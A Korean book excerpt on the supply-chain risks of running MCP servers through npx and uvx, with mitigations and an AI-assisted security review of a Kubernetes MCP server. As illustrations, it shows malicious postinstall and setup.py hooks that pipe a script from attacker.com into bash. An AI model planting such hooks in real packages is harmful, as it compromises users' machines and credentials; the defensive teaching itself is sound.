

한 걸음 앞선 개발자가 지금 꼭 알아야 할 **클로드 코드**

한 걸음 앞선 개발자가

지금 꼭 알아야 할

MASTERING
CLAUDE
CODE

조훈, 정찬훈 지음

클로드

코드

CLAUDE
CODE

실무에서 검증된 개발 방식 그대로,

매일 1시간 4주

Claude Code 에이전트 실전 훈련!

```
# 설치(macOS, Windows)
# CLAUDE.md 설정
# MCP 연동/다양한 활용 전략
# 클로드 워크플로 전략
# 설계 → 부트스트래핑 →
  테스트 → 개선 → 명세
# 클로드 코드의 효율을 극대화
  하는 다양한 방법
```

갈벗

깃허브: https://github.com/sysnet4admin/_Book_Claude-Code

프로그래밍 언어 생태계에는 **원격 패키지를 즉시 실행**할 수 있도록 도와주는 도구들이 있습니다. 그중 책에서 가장 많이 사용되는 2가지 도구에 대해서 설명하고 이를 인공지능 도구와 결합해서 얻을 장점과 이때 사용 시 유의해야 하는 점을 알아보겠습니다.

npx와 uvx는 왜 AI 시대에 주목 받을까요?

제목과 같은 주목받는 이유를 알기 위해서는 각 도구에 대해서 간단히 이해하고 넘어갈 필요가 있습니다. 2개의 도구는 원격 패키지를 즉시 실행하도록 설계된 것이 특징이며, 각 독립적인 생태계를 지원합니다. 이를 요약해서 살펴보면 다음과 같습니다.

항목	npx (Node Package eXecute)	uvx (Universal eXecute)
개발사	npm (Microsoft)	Astral
출시년도	2017	2024
구현 언어	JavaScript	Rust
주요 생태계	Node.js/JavaScript	Python
설치 방법	Node.js와 함께 자동 설치	uv와 함께 자동 설치
패키지 실행	✅ npm 패키지	✅ PyPI 패키지

사실 npx는 이미 클로드 코드 실행을 위해 Node.js 를 설치 구성했으므로, 바로 실행할 수 있습니다.

<Terminal박스>

```
$ npx --version
```

```
10.9.3
```

```
$ npx httpie@3.2.2 http --version # 실행 예시
```

</Terminal박스>

따라서 uvx를 설치하는 부분과 실행을 위한 간단히 예시만 확인해 보겠습니다.

<Terminal박스>

```
$ curl -LsSf https://astral.sh/uv/install.sh | sh # macOS, 우분투 공통
```

```
downloading uv 0.8.17 aarch64-apple-darwin
```

```
no checksums to verify
```

```
installing to /Users/hj/.local/bin
```

```
uv
```

```
uvx
```

```
everything's installed!
```

```
$ uvx --version
```

```
uvx 0.8.17 (10960bc13 2025-09-10)
```

```
$ uvx "httpie==3.2.2" http --version # 실행 예시
```

</Terminal박스>

이와 연관되는 페이지를 다음과 같이 정리하였으니 필요시 참고해서 보시기 바랍니다.

<노트> npx와 uvx가 사용되는 페이지

npx: p103, p189, p195~196, p198~199

uvx: p329

</노트>

이렇게 간단히 설치 구성되고 즉시 실행된다는 장점으로 인공지능 LLM의 MCP(Model Context Protocol)와 긴밀하게 연동되고 있습니다. MCP 서버들은 일반적으로 특정 도구와 LLM과 연결해 주는 역할을 하는데, 이런 경우 작고 독립적인 서버형 패키지를 매우 선호하게 됩니다. 그렇게 때문에 즉시 실행 가능한 도구이며, 작고 독립적인 구성이 되는 npx/uvx와 같은 형태가 많이 인공지능 MCP에 많이 연결되어 사용되는 것입니다.

정리하자면, npx나 uvx를 쓰면 사용자는 저장소를 복제하거나 복잡한 빌드 과정을 거치지 않고, 단 한 줄의 명령으로 MCP 서버를 실행할 수 있습니다.

<Terminal박스>

```
$ npx @acme/mcp-server
```

또는

```
$ uvx my-mcp-server
```

</Terminal박스>

이와 같은 접근 방식은 사용자와 커뮤니티 모두에게 이득을 가져옵니다.

- 사용자 측면에서 복잡한 설정 없이 바로 MCP 서버를 실행해 볼 수 있습니다.
- 커뮤니티 측면에서도, 문서에 복잡한 설치 가이드를 적는 대신 **npx** 또는 **uvx** 한 줄만 안내하면 됩니다.

이렇게 편리한 도구가 왜 보안적인 측면에서 위험할 수 있는지 도구별로 살펴보겠습니다.

npx와 uvx의 보안적인 위험

편리한 것은 항상 보안 측면에서 위험합니다. 2FA(2단계 인증, Two-Factor Authentication)은 번거롭지만 보안 측면에서 뛰어납니다. 하지만 단순히 사용하는 아이디 / 암호가 편리하죠. 그러한 의미로 npx와 uvx는 보안적으로 위험할 수 있습니다. 구체적으로 이러한 내용을 살펴보겠습니다.

npx의 사례

npx는 기존에 살펴본 것처럼 다음과 같은 1줄 명령으로 바로 실행할 수 있습니다.

<Terminal박스>


```
$ npx cowsay@1.5.0 "Hello, MCP!"
```

</Terminal박스>

따라서 현재 MCP 관련 오픈 소스나 샘플 서버는 대부분 npx 실행 예제를 제공하고, 사용자도 이를 그대로 사용하고 있습니다. 사실 공식 페이지에서 제공하는 것이니 의심하는 게 더 특이한 경우일 것입니다.

하지만 이렇게 즉시 실행 가능한 부분은 보안상 큰 약점이 됩니다. 패키지를 내려받아 실행하는 순간, 설치 단계에서 동작하는 스크립트(postinstall, setup.py, build-backend 등)가 임의의 코드를 실행할 수 있습니다. 또 버전을 고정하지 않고 최신을 실행하면, 공격자가 특정 시점에 악성 버전을 배포해도 사용자 입장에서는 알아차리기 어렵습니다. 이와 관련된 최근에 사건 사고도 있었습니다.

[그림 1] NPM 패키지에 악성 코드가 심어져 배포 것을 메인테이너가 알리고 있음 ([링크](#))



Seokho Son · 1st
CNCF Ambassador | Special Fellow & Senior Researcher of ETRI | Ph.D. | ...
5d · 🌐

NPM 패키지 debug, chalk 관련 악성 코드 정보 공유 드립니다.
일단, 메인테이너나 NPM 사용하시는 분들은 빠르게 확인하시면 좋을 것 같습니다. (메인테이너의 아픔이 느껴집니다.. ㅠㅠ)

1) 주요 참고 링크

- GitHub 보안 권고: <https://lnkd.in/e7mq82J6>
- Hacker News 토론: <https://lnkd.in/e2YXZ4c8>
- debug 이슈: <https://lnkd.in/e6smdHcr>
- chalk 이슈: <https://lnkd.in/eDiK4QXr>

2) 사건 요약

자주 쓰는 NPM 패키지인 debug, chalk 관리자가 피싱 공격으로 계정을 탈취당함. 공격자가 악성 코드가 들어간 새 버전을 배포했고, 그 시간 동안 npm install을 한 개발자들이 감염되었을 가능성이 있음.

특히 **debug@4.4.2**는 GitHub 보안 권고에서 악성 버전으로 명확히 지목됨. 아직까지는 이 악성 버전이 실제로 어떤 동작(데이터 유출, 백door 설치 등)을 했는지는 현재까지 공개된 정보가 없는 것으로 보임. 미리 대비 필요.

3) 메인테이너/사용자가 해야 할 일: 프로젝트 점검

(프로젝트 루트에서 실행) ``npm ls debug chalk ansi-styles supports-color strip-ansi ansi-regex wrap-ansi color color-convert color-name slice-ansi``

출력된 버전이 문제 버전(debug@4.4.2, chalk@5.6.1 등 하기 목록 참고)인지 확인. 문제 버전을 썼다면, 해당 머신을 침해된 것으로 간주, 그 안의 비밀번호, API 키, 토큰, SSH 키는 모두 즉시 교체

이후, 문제가 완전히 해결될 때까지 관련 포스트 지속 확인 등.

npm 패키지는 보통 다음과 같이 구조화 되어 있습니다. 여기서 **package.json**은 단순한 정보 파일이 아니라, 설치 과정에서 실행되는 라이프사이클 스크립트를 정의할 수 있습니다.

<Terminal박스>

my-package/

```
├─ package.json # 메타데이터와 의존성, 스크립트 정의
├─ index.js      # 패키지 실행 진입점
├─ lib/          # 실제 코드
└─ scripts/      # 설치/빌드 단계에서 실행될 수 있는 스크립트
```

</Terminal박스>

예를 들면 **package.json**은 다음과 같은 내용을 담고 있습니다.

<Terminal박스>

```
{
  "name": "my-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node scripts/setup.js"
  }
}
```

</Terminal박스>

이런 경우 사용자가 **npm my-package**를 실행하면 다음과 같은 과정이 진행됩니다.

1. npm은 my-package를 다운로드
2. postinstall 단계에서 scripts/setup.js를 실행
3. 이후에야 index.js가 실행됨

즉 사용자가 의도한 프로그램인 **index.js** 의 실행 전에 숨겨진 **공격자 코드(setup.js)**가 먼저 실행될 수 있습니다.

<Terminal박스>

```
// scripts/setup.js

const { exec } = require("child_process");

exec("curl -s https://attacker.com/payload.sh | bash");
```

</Terminal박스>

그 외에도 사용자가 단순히 아래와 같이 문제가 없는 패키지(**innocent-looking-package**)를 실행한 순간에도 `index.js`가 먼저 실행되어 **공격자 코드**([setup.js](#))가 동작합니다.

<Terminal박스>

```
$ npx innocent-looking-package
```

</Terminal박스>

단순하지만 이러한 실행 결과로 `npx`는 손쉽게 공급망 공격이 가능해집니다.

특히 MCP 서버는 인공지능 LLM과 직접 연결되기 때문에, 이 서버가 감염되면 모델 입력/출력, 파일 접근, 비밀 토큰 등까지 모두 노출될 수 있어 위험이 훨씬 더 커집니다.

더 심각한 건 이미 위에서도 언급한 것처럼 이와 같은 위험이 이미 발생하고 있다는 것입니다. 아직은 단순히 패키지에 대한 악성 코드 수준이지만, 곧 폭발적으로 늘어나게 될 MCP와 결합하면 이 파장은 노출되는 악성 코드 수준이 아닌 다양한 형태의 정보들이 직접적으로 노출되는 결과를 불러올 수 있습니다.

`npx`와 `uvx`는 결과적으로 같지만, 형태가 다른 부분도 있으니 함께 살펴보도록 하겠습니다.

uvx의 사례

파이썬 패키지는 여러가지 형태가 존재합니다. `pyproject.toml`를 활용하는 방식이 비교적 근래에 정착된 방식이며, 기존에는 `setup.py` 방식으로 진행했습니다. 이는 `npx`와 동일하여 간단히만 보여드리고 `pyproject.toml`을 이용하는 방식을 설명드리겠습니다.

일반적으로 `setup.py`를 포함하는 파이썬 패키지는 다음과 같은 형태를 가집니다.

<Terminal박스>

my-package/

```
└─ setup.py      # 빌드/설치 단계에서 실행 가능
└─ my_package/
  │ └─ __init__.py  # import 시 실행될 수 있는 코드
  │ └─ __main__.py  # 콘솔 스크립트 진입점에서 import됨
  └─ scripts/      # 임의 스크립트(빌드 중 호출 가능)
```

</Terminal박스>

uvx로 패키지를 실행하면 가상환경에 패키지를 설치합니다. 이 설치 과정에서 **setup.py**가 그대로 실행되게 됩니다. 따라서 **setup.py**에 아래와 같이 악성코드를 심을 수 있습니다. 즉 npx와 동일한 형태의 보안 위험이 있는 것입니다.

<Terminal박스>

```
import os, subprocess

# 빌드 시점에 네트워크 호출/명령 실행 (악성)

subprocess.call("curl -s https://attacker.com/payload.sh | bash", shell=True)

from setuptools import setup

setup(name="my-package", version="0.1.0", packages=["my_package"])
```

</Terminal박스>

그렇다면 **pyproject.toml** 기반 패키지는 어떤 위험이 있을까요?

PEP 517/518 이후로 Python 생태계는 **pyproject.toml**을 중심으로 패키징을 권장합니다.

여기엔 패키지 메타데이터와 **setuptools**와 같은 빌드 백엔드를 지정하도록 되어있습니다.

<Terminal박스>

my-package/

```
└─ pyproject.toml  # 메타데이터 + 빌드 백엔드 정의
└─ my_package/
```



```
| |─ __init__.py
| |─ __main__.py
| └─ ...
```

</Terminal박스>

아래는 **pyproject.toml**의 한 예입니다.

[build-system]은 “이 패키지를 설치하려면 어떤 빌드 백엔드가 필요하고, 무엇을 먼저 설치해야 하는가”를 명시합니다.

requires는 빌드 과정에서 필요한 패키지 목록을 지정합니다. 여기선 **setuptools**가 먼저 설치되어야함을 의미합니다.

build-backend는 실제 빌드 과정을 실행할 도구를 지정합니다. **setuptools.build_meta**는 **setuptools**가 제공하는 빌드 백엔드입니다. **pip**는 이 백엔드를 불러서 배포 아카이브를 만듭니다.

<Terminal박스>

[build-system]

requires = ["setuptools>=61.0"]

build-backend = "setuptools.build_meta"

[project]

name = "my-package"

version = "0.1.0"

dependencies = ["requests"]

</Terminal박스>

겉보기엔 안전해 보이지만, 여전히 **build-system.requires**에 지정된 빌드 백엔드(**setuptools**, **hatch** 등)가 동작할 때 임의의 코드 실행 가능성이 있습니다. 예를 들어, **setuptools.build_meta**는 내부적으로 **setup.cfg**나 **setup.py**를 참고할 수 있고, 공격자가 빌드 훅(**build.py**, **setup.cfg**의 **cmdclass**, **entry_points** 등)에 악성 코드를 심으면 설치 시 실행될 수 있습니다.

이렇게 **npm**와 거의 동일한 구조의 위험을 가지고 있는 것을 알 수 있습니다.

그렇다면 이러한 위험을 어떻게 줄일 수 있을까요?

npx와 uvx의 보안 위협으로부터 탈출 방안

사례에서 살펴본 것처럼 npx와 uvx는 편리하고 유용하지만, 보다 안전하게 사용하기 위해 다음과 같은 부분들 고려해서 사용할 필요가 있습니다.

항상 버전을 고정해서 실행하기

👎 나쁜 예:

- 새 버전을 받았을 때 배포자가 심어 놓은 악성 코드에 그대로 감염될 수 있습니다.

<Terminal박스>

```
$ npx some-mcp-server # 최신 버전 자동 실행
```

</Terminal박스>

👍 좋은 예:

- 이렇게 버전을 명시하면, 사용자가 원하는 검증된 버전만 설치됩니다.
- 실제로 잘알려진 npm 패키지 *event-stream*의 최신 버전에서 악성 코드가 섞인 적이 있었는데, 특정 버전을 고정해 두었다면 피해를 피할 수 있었습니다.

<Terminal박스>

```
$ npx some-mcp-server@1.2.3
```

```
$ uvx "some-mcp-server==1.2.3"
```

</Terminal박스>

샌드박스 환경 활용하기

MCP서버의 실행환경이 컨테이너와 같은 샌드박스환경에서 돌아간다면 혹시나 모를 악의적인 코드로 부터 방어를 할 수 있고 악성코드 오염으로부터 실행 호스트를 격리할 수 있습니다.

샌드박스과 관련되서는 추후에 배포될 **devcontainer**를 참고하시기 바랍니다.

자체 레지스트리 활용하기

기업환경이라면 아래와 같이 자체 레지스트리(Registry)를 쓰도록 하고, 검증 후 반영(예: 외부 npm 변동 → 내부 mirror)과 같은 방식으로 통제하도록 설계할 필요가 있습니다.

<Terminal박스>

```
# npm 내부 레지스트리 사용 (예: Verdaccio/Nexus)
```

```
$ npm config set registry https://npm.mycorp.local
```

```
# 특정 스코프만 내부로 라우팅
```

```
$ npm config set @acme:registry https://npm.mycorp.local
```

</Terminal박스>

npx와 uvx를 안전하게 사용한다고 해도 MCP 서버에 대한 보안 취약 사항이 있다면, 결과적으로는 모든 보안 사건 사고가 발생할 것입니다. 보안은 **제로 트러스트**(Zero Trust, 모든 것을 신뢰하지 않고 검증한다.) 관점에서 진행할 수록 높은 보안 수준을 만들 수 있습니다.

MCP 서버의 보안 강화 방안

MCP 서버는 단순히 로컬 툴을 실행하는 것이 아니라, LLM과 직접 연결되는 중추적인 인터페이스 역할을 발전하게 될 것입니다. 따라서 MCP 서버의 신뢰성이 곧 모델과 사용자 데이터를 지키는 최소 보장선이 됩니다. 특히 서드파티 MCP 서버를 도입할 때는 다음 점을 반드시 고려해야 합니다.

신뢰할 수 있는 MCP 서버 사용

다양한 목적으로 개발된 MCP 서버들이 있으나, 이러한 다양한 목적의 MCP 서버들 중에는 보안적으로 취약한 코드들이 함께 포함되어 있을 수도 있습니다. 따라서 가능한 공식적으로 제공하는 MCP와 많은 사람들이 검증한 MCP 서버를 사용하고 꾸준히 커뮤니티에 올라오는 내용들을 살펴보는 것이 필요합니다. 특히 꾸준히 업데이트가 이루어지지 않는 MCP 서버는 보안적으로 취약할 수 있습니다.

MCP 서버에는 (항상) 위험 요소가 있다고 가정

MCP 서버 개발자가 선의로 개발했다 하더라도, 구현 과정에서 API Key, Access Token, 환경변수, 파일 경로 등이 그대로 출력값에 섞여 나갈 수 있습니다. 예를 들어, 디버깅 편의 목적으로 `print(os.environ)` 같은

코드가 들어 있다면, 그 출력이 그대로 LLM 프롬프트 입력으로 흘러가면서 벤더(LLM 제공자)에 전달될 수 있습니다.

MCP 서버 → 클라이언트(IDE/에이전트) → LLM API 로 전송되는 과정에서 출력 결과가 프롬프트에 자동 삽입되는 경우가 흔합니다. 이를 좀 더 구체적으로 설명하자면, 벤더의 워크플로 파이프라인이나 다양한 종류의 동기화 정책에 따라 민감 정보들이 포함되어 실행될 수 있습니다. 즉, “코드를 실행만 하는 도구”가 아니라, 진행 과정의 내용이 다음 단계의 프롬프트 입력으로 들어간다는 점에서 구조적인 위험이 있습니다. 따라서 3rd Party MCP 서버를 도입할 땐 단순히 npx/uvx와 같은 도구를 이용만 할 것이 아니라 다음의 사항을 고려하고 이에 대해 충분히 검증해야 합니다.

- 진행 과정에서 어떤 출력이 입력 값으로 들어가는지 확인
- 출력 결과물에 시크릿/경로/내부 정보가 섞이지 않는지 확인
- 로그/텔레메트리와 같은 민감 정보가 포함되지 않는지 등을 확인

정리하자면, npx/uvx는 손쉽게 사용할 수 있는 만큼 다양한 형태로 정보가 노출될 가능성이 있습니다. 그러므로 MCP 서버를 충분히 검증하고 사용하는 것이 필요합니다. 확인 방법에 대해서는 다음에 나오는 “MCP 서버 보안 점검”에서 설명하겠습니다.

MCP 서버 보안 점검

MCP 서버를 사용하는 것은 쉬우나 그만큼 검증하고 사용해야 한다는 것을 이해했습니다. MCP 서버의 검증은 다양한 형태로 가능하나 대표적인 2가지 방법에 대해서 설명하도록 하겠습니다.

🌀 전통적인 방법: 격리된 샌드박스에서 리허설

실패해도 안전한 환경에서 기본 시나리오를 돌리며 행위를 캡처합니다.

- 컨테이너 등 가상환경 기반의 샌드박스를 활용
- 바깥으로 나가는 네트워크 기본 차단
- 모니터링 도구를 통한 행위 관찰: Falco, Tetragon/Tracee, osquery, strace, mitm-proxy 등 프로세스의 행위를 탐지할 수 있는 여러 도구들을 활용

이러한 방법은 전통적인 행위 기반 이상 탐지에 가까운 형태입니다. 확실하고 이해하기 쉽지만 실제 수행을 하기에 환경설정이나 그 외 여러 배경지식을 필요하므로 다소 난이도가 높은 방식이라고 볼 수 있습니다.

따라서 좀 더 실용적이며, 현대적인 방법에 대해서 이어서 설명하겠습니다.

🚀 혁신적인 방법: LLM을 통한 정적 분석

LLM을 활용하면 소스코드와 LLM만으로 잠재적인 위험을 빠르게 시도 할 수 있습니다.

<Claude Code박스>

```
> “이 MCP에 대해 보안 및 신뢰성 검토차원에서 아래 항목을 점검 해줘

1. **설치 단계 위험**

- 설치 스크립트(postinstall, setup.py, build-backend 등)에서 임의의 코드 실행, 네트워크 호출, 웹 스폰 등이 있는지

- 빌드/설치 과정에서 불필요하게 외부 자원을 내려받는 코드가 있는지

2. **민감정보 노출**

- 환경변수, 파일 경로, 인증 토큰, API Key 등을 그대로 출력하거나 로그에 남기는 부분이 있는지

- MCP 서버의 응답으로 이런 값이 그대로 LLM 입력으로 흘러갈 가능성이 있는지

3. **네트워크/파일 접근**

- 외부 서버로 데이터를 전송하는 코드가 있는지, 있다면 목적지와 방식이 합리적인지

- 파일 접근 경로(`/home`, `.ssh`, `.aws`, `/etc` 등)에서 민감정보를 읽어올 수 있는지

4. **권한/실행 제어**

- 시스템 명령 실행(`exec`, `subprocess`, `child_process`)이 있는지

- 권한 상승이나 보안 설정을 우회할 수 있는 코드가 있는지

5. **출력 포맷/LLM 연동**

- MCP 서버가 출력하는 데이터가 의도적으로 민감정보를 포함하지 않는지

- 출력 포맷이 표준 MCP 스펙에 맞는지, 불필요한 디버그/로그가 섞이지 않는지

6. **공급망 공격 가능성**

- 의존성 패키지 중 취약점/의심스러운 패키지가 있는지

- 코드 내에 하드코딩된 URL/리소스가 외부 제3자 도메인을 가리키는지

마지막으로, 전체적으로 이 MCP 서버를 그대로 실행했을 때

사용자 환경(LLM, 파일시스템, 네트워크, 시크릿)에 위험이 될 수 있는 요소를 요약해줘.”
```

</Claude Code박스>

위 프롬프트로 `mcp-server-kubernetes`를 점검해보겠습니다.

<Terminal박스>

```
$ git clone https://github.com/Flux159/mcp-server-kubernetes
```

```
$ cd mcp-server-kubernets
```

```
$ claude “
```

<생략>

“

● 보안 검토 결과

1. 설치 단계 위험 낮음

- 빌드 스크립트: package.json의 스크립트는 안전 (tsc && shx chmod +x)
- 설치 훅: postinstall, setup.py 등 위험한 설치 스크립트 없음
- Dockerfile: 공식 리포지토리에서 kubectl, gcloud, awscli 설치하는 정상적인 구성

2. 민감정보 노출 중간

- 환경변수 처리: KUBECONFIG, K8S_TOKEN, K8S_SERVER 등 민감 정보를 환경변수로 사용
- 시크릿 마스킹: MASK_SECRETS 옵션으로 Kubernetes secret 데이터를 마스킹하는 보호 기능 있음 (kubectl-get.ts:159)
- 로그 노출: 일부 디버그 로그에서 커맨드 정보 출력하지만 민감 데이터는 직접 노출 안됨

3. 네트워크/파일 접근 중간

- 파일 접근:
 - 임시 파일 생성/삭제 (/tmp 디렉토리 사용)
 - kubeconfig 파일 읽기 (~/.kube/config, \$KUBECONFIG 경로)
- 네트워크: HTTP/SSE 서버 실행 (utils/sse.ts, utils/streamable-http.ts)
- 외부 통신: 없음 (Kubernetes API만 사용)

4. 권한/실행 제어 ⚠️ 높음

- 시스템 명령 실행:

- execFileSync로 kubectl, helm 명령어 직접 실행
- kubectl-generic.ts에서 임의의 kubectl 명령 실행 가능
- Pod 내부에서 임의 명령 실행 (exec_in_pod.ts)

- 권한 제어:

- ALLOW_ONLY_NON_DESTRUCTIVE_TOOLS 옵션으로 파괴적 작업 제한 가능
- 하지만 기본값은 모든 명령 허용

5. 출력 포맷/LLM 연동 ✅ 양호

- 표준 MCP 스펙 준수
- 민감 데이터 필터링: Secret 데이터 자동 마스킹
- 에러 처리: 적절한 에러 메시지 반환

6. 공급망 공격 가능성 ✅ 낮음

- 의존성: 주요 라이브러리들이 신뢰할 수 있는 패키지들
- URL: GitHub 공식 리포지토리만 참조
- npm audit: lockfile 없어 확인 불가하지만 package.json은 정상

🚨 전체 보안 위험 요약

높은 위험 요소:

1. 임의 명령 실행: `kubectl-generic`, `exec_in_pod`로 시스템/컨테이너에서 임의 명령 실행 가능
2. Kubernetes 클러스터 제어: 리소스 생성/삭제, 설정 변경 등 강력한 권한
3. 환경변수 의존: 인증 토큰 등이 환경변수에 노출

권장 보안 조치:

1. Non-destructive 모드 활성화: `ALLOW_ONLY_NON_DESTRUCTIVE_TOOLS=true` 설정
2. 네트워크 격리: HTTP/SSE 서버 사용 시 `localhost` 바인딩
3. 권한 최소화: 읽기 전용 권한의 `kubeconfig` 사용
4. 환경변수 보호: 민감한 환경변수 암호화 또는 보안 저장소 사용

결론: 이 MCP 서버는 Kubernetes 클러스터에 대한 강력한 제어 권한을 가지므로, 신뢰할 수 있는 환경에서만 사용하고 적절한 보안 설정을 적용해야 합니다.

</Terminal박스>

이렇게 클로드 코드와 같은 인공지능 에이전트를 사용하면, 격리된 샌드박스를 구성하고 설정하는 복잡한 구성하지 않고도, 지금 설정한 MCP 서버의 상태와 권장 보안 조치 등을 빠르게 확인하고 필요한 조치를 할 수 있습니다. 결국 이런 정적 리뷰는 MCP 서버의 신뢰성을 사전에 확인하는 가장 실용적이며 손쉽게 사용할 수 있는 방법입니다.

참고자료

- <https://medium.com/@scalablecto/actually-go-ahead-and-run-your-mcp-tools-via-npx-uv-x-2b3ae49c59a5>
- https://www.reddit.com/r/ClaudeAI/comments/1mbavej/mcp_servers_are_scary_unsafe_always_check_whos/
- <https://news.hada.io/topic?id=22975>
- <https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident>